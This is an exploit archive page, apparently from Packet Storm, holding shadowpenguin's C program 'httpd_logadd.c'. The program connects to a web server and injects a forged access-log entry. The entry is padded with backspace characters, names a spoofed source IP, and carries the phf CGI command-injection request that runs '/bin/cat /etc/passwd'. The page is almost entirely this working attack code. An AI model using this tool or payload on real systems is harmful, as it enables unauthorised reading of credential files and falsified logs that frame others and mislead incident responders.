what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

httpd_logadd.c

httpd_logadd.c
Posted Nov 5, 1999
Authored by shadowpenguin

This program can add the fake log to HTTPd remotely. Posted by root., Jan.08,1998

tags | root
SHA-256 | 973bdafafcf97232c3e363dbb2a5b2b6aaa53f9c5fe933b53fd19c0c3c06cfd7

httpd_logadd.c

Change Mirror Download
/*   HTTPd Remote fake log adder
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>

#define PUT_METHOD "GET /cgi-bin/phf?Qalias=x%0d%0a/bin/cat%20/etc/passwd"
#define REQ_VER "HTTP/1.0"
#define JISA "+0900"

char *mon_[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };

int main( int argc, char argv[] )
{
char tmp_buffer[256], fuck_bs[256];
int sock_send, loop;
long t;
struct sockaddr_in addr;
struct tm *tmbuf;

if( argc != 3 )
{
printf( "Usage: %s <target ip_addr> <www server>\n", argv[0] );
exit( -1 );
}

if( ( sock_send = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
perror( "socket" );
exit( -1 );
}
memset( &addr, 0, sizeof( struct sockaddr_in ) );
addr.sin_family = AF_INET;
addr.sin_port = htons( 80 );
addr.sin_addr.s_addr = inet_addr( argv[2] );
if( addr.sin_addr.s_addr == -1 || inet_addr( argv[1] ) == -1 )
{
fprintf( stderr, "Use Ip address(...)...\n" );
exit( -1 );
}
if( connect( sock_send, &addr, sizeof( addr ) ) == -1 )
{
perror( "connect" );
exit( -1 );
}

t = time( 0 );
tmbuf = localtime( &t );
for( loop = 0; loop < 255; loop++ )
fuck_bs[ loop ] = 0x08;
fuck_bs[255] = '\0';
sprintf( tmp_buffer,
"%s%s - - [%02d/%s/%04d:%02d:%02d:%02d %s] \"%s %s",
fuck_bs, argv[1], tmbuf->tm_mday,
mon_[tmbuf->tm_mon],
tmbuf->tm_year + 1900, tmbuf->tm_hour,
tmbuf->tm_min,
tmbuf->tm_sec, JISA, PUT_METHOD, REQ_VER );
if( send( sock_send, tmp_buffer, strlen( tmp_buffer ), 0 ) == -1 )
{
perror( "send" );
exit( -1 );
}
fprintf( stderr, " SUCCESS \n" );
exit( 0 );
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close